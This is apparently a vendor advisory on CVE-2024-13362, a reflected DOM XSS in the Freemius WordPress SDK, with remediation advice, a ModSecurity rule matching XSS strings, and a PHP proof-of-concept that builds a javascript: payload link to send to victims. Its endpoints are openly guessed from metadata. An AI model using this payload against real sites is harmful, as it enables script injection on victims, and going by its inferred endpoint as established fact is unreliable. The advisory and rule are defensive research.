Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) issue in the Freemius SDK (version <= 2.10.1), which is bundled with multiple WordPress plugins and themes, including the "Integrate Google Drive" plugin (version <= 1.4.9). An unauthenticated attacker can inject arbitrary web scripts via the "url" parameter. The CVSS score is 6.1 (Medium), with a vector indicating network-based, low-complexity, no privileges required, user interaction required, and a scope change.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the "url" parameter within a component that processes URLs and renders them in the DOM. Based on the CWE-79 classification, the plugin likely passes user-supplied URL values directly into JavaScript or HTML contexts without proper encoding. This is typical for SDK features that handle redirects or URL parameters after authentication or callback flows. We infer this from the description and CWE; no source code diff is available to confirm the exact location.
Exploitation: The attacker crafts a malicious URL containing XSS payload in the "url" parameter. For example, if the endpoint is a callback or redirect handler in the Freemius SDK that processes the "url" parameter and reflects it in the page (often via JavaScript DOM manipulation), the payload executes in the victim's browser when they click the link. A plausible attack URL might target /wp-admin/admin-ajax.php?action=fs_connect&url=javascript:alert(1) or a similar SDK AJAX or REST endpoint. The attacker needs to trick the victim into clicking the crafted link (user interaction). Since the attack is unauthenticated and no nonce verification is mentioned, the payload can be delivered via social engineering (e.g., phishing email).
Remediation: The fix requires proper sanitization of the "url" parameter before it is used in any output context. Developers should use WordPress's built-in functions like esc_url() for URL output in attributes, or wp_kses() for HTML contexts. If the parameter is used in JavaScript, it must be JSON-encoded and output using wp_json_encode() to prevent script injection. Input validation should ensure the URL is a valid, allowed scheme (e.g., https://) and not contain malicious code. The patched version (1.5.0) likely implements these changes.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser on the affected WordPress site. This can lead to session hijacking (stealing nonces or cookies), defacement, redirection to malicious sites, or phishing attacks to steal credentials. Since the vulnerability is reflected and DOM-based, it does not persist in the database, but it can be used in targeted or widespread campaigns against site visitors or administrators.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected XSS via 'url' parameter in Freemius SDK AJAX endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected DOM XSS in Freemius via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:action "@rx ^fs_connect$|^fs_account$|^fs_redirect$" "chain"
SecRule ARGS_GET:url "@rx ((?i)javascript:|<script|onerror=|onclick=|onload=)" "t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC targets the vulnerable parameter 'url' in the Freemius SDK's AJAX endpoint.
// Note: The exact endpoint is inferred; adjust the $action value if needed based on the vulnerable plugin's implementation.
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
// The vulnerable endpoint is typically a Freemius AJAX action that processes the 'url' parameter.
// Common action values: 'fs_connect', 'fs_account', 'fs_redirect' (check plugin documentation or source for exact value).
$ajax_action = 'fs_connect'; // Update this based on the actual vulnerable action from the Freemius SDK.
// Malicious XSS payload to embed in the 'url' parameter (reflects into the DOM).
// The payload uses a JavaScript protocol to execute when reflected without sanitization.
$xss_payload = 'javascript:alert(document.domain)';
// Build the full malicious URL
$malicious_url = $target_url . '/wp-admin/admin-ajax.php?action=' . urlencode($ajax_action) . '&url=' . urlencode($xss_payload);
echo "[+] CVE-2024-13362 Proof of Concept (metadata-based)n";
echo "[+] Target: " . $target_url . "n";
echo "[+] Malicious URL: " . $malicious_url . "n";
echo "[+] To exploit, send this link to an authenticated or unauthenticated user and trick them into clicking it.n";
echo "[+] If the vulnerability is present, the JavaScript payload (alert) will execute in the victim's browser.n";
// Optional: Test with cURL to verify the endpoint responds (but XSS cannot be confirmed via cURL)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: " . $http_code . "n";
if ($http_code == 200) {
echo "[+] Request succeeded. Check if the response contains the payload (unencoded) to confirm reflection.n";
} else {
echo "[!] Request failed. The endpoint may differ; adjust the action parameter.n";
}
// For actual exploitation, the user must click the crafted link in a browser.
?>
